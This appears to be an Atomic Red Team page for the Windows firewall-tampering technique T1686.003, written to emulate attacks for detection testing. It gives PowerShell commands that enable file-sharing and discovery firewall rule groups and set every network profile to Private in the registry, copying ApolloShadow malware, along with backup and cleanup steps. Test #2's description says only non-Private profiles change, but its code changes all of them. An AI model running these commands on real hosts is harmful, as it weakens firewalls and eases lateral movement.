T1686.003

Description from ATT&CK

Adversaries may disable or modify the Windows host firewall to bypass controls limiting network usage. This can include disabling the Windows host firewall entirely, suppressing specific profiles (domain, private, public), or adding, deleting, and modifying firewall rules to allow or restrict traffic.(Citation: Nearest Neighbor Volexity)

Adversaries may perform these modifications through multiple mechanisms depending on the Windows operating system and access level. For example, adversaries may use command-line utilities (e.g., netsh advfirewall or PowerShell cmdlets like Set-NetFirewallProfile, New-NetFirewallRule), Windows Registry modifications (e.g., altering firewall states and rule configurations via registry keys), or the Windows Control Panel to modify firewall settings through the Windows Security interface.

By disabling or modifying Windows firewall services, adversaries may enable access to remote services, open ports for command and control traffic, or configure rules for further actions.

Source

Atomic Tests

• Atomic Test #1: Enable Firewall Rule Group via COM Object (HNetCfg.FwPolicy2)
• Atomic Test #2: Set All Network Profiles to Private via Registry

Atomic Test #1: Enable Firewall Rule Group via COM Object (HNetCfg.FwPolicy2)

Uses the HNetCfg.FwPolicy2 COM object to enable the File and Printer Sharing and Network Discovery firewall rule groups on the Private profile. This mirrors behavior observed in ApolloShadow malware, which enables these rule groups to facilitate lateral movement by making the host discoverable and enabling file sharing.

Reference: https://www.microsoft.com/en-us/security/blog/2025/07/31/frozen-in-transit-secret-blizzards-aitm-campaign-against-diplomats/

Supported Platforms: Windows

auto_generated_guid: 0ef45922-1cd8-4211-8595-3cb3bd87f5d8

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$fw = New-Object -ComObject HNetCfg.FwPolicy2
$fw.EnableRuleGroup(2, "File and Printer Sharing", $true)
$fw.EnableRuleGroup(2, "Network Discovery", $true)

Cleanup Commands

$backupFile = "$env:TEMP\T1686.003_firewall_backup.txt"
if (Test-Path $backupFile) {
    Get-Content $backupFile | ForEach-Object {
        $parts = $_ -split '='
        $group = $parts[0]
        $wasEnabled = [System.Convert]::ToBoolean($parts[1])
        $fw = New-Object -ComObject HNetCfg.FwPolicy2
        $fw.EnableRuleGroup(2, $group, $wasEnabled)
    }
    Remove-Item $backupFile
}

Dependencies: Run with powershell!

Description: Back up current firewall rule group state for cleanup

Check Prereq Commands

if (Test-Path "$env:TEMP\T1686.003_firewall_backup.txt") {exit 0} else {exit 1}

Get Prereq Commands

$fw = New-Object -ComObject HNetCfg.FwPolicy2
$groups = @("File and Printer Sharing", "Network Discovery")
$groups | ForEach-Object {
    "$_=$($fw.IsRuleGroupEnabled(2, $_))" | Out-File -Append "$env:TEMP\T1686.003_firewall_backup.txt"
}

Atomic Test #2: Set All Network Profiles to Private via Registry

Modifies the Category value under each network profile GUID in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles to 0 (Private). This relaxes Windows Firewall rules and enables file sharing, a technique used by ApolloShadow to reduce lateral movement difficulty. Only profiles not already set to Private are modified, and their original values are saved to a backup file for cleanup.

Reference: https://www.microsoft.com/en-us/security/blog/2025/07/31/frozen-in-transit-secret-blizzards-aitm-campaign-against-diplomats/

Supported Platforms: Windows

auto_generated_guid: f4e1a3bf-8b50-4967-a225-b6c383019e07

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$profilesPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles"
Get-ChildItem $profilesPath | ForEach-Object {
    Set-ItemProperty $_.PSPath -Name Category -Value 0
}

Cleanup Commands

$backupFile = "$env:TEMP\network_profile_backup.txt"
if (Test-Path $backupFile) {
    Get-Content $backupFile | ForEach-Object {
        $parts = $_ -split '='
        $path = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\$($parts[0])"
        Set-ItemProperty $path -Name Category -Value ([int]$parts[1])
    }
    Remove-Item $backupFile
}

Dependencies: Run with powershell!

Description: Back up current network profile Category values for cleanup

Check Prereq Commands

if (Test-Path "$env:TEMP\network_profile_backup.txt") {exit 0} else {exit 1}

Get Prereq Commands

$profilesPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles"
Remove-Item "$env:TEMP\network_profile_backup.txt" -ErrorAction SilentlyContinue
Get-ChildItem $profilesPath | ForEach-Object {
    $category = (Get-ItemProperty $_.PSPath).Category
    "$($_.PSChildName)=$category" | Out-File -Append "$env:TEMP\network_profile_backup.txt"
}

Atomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC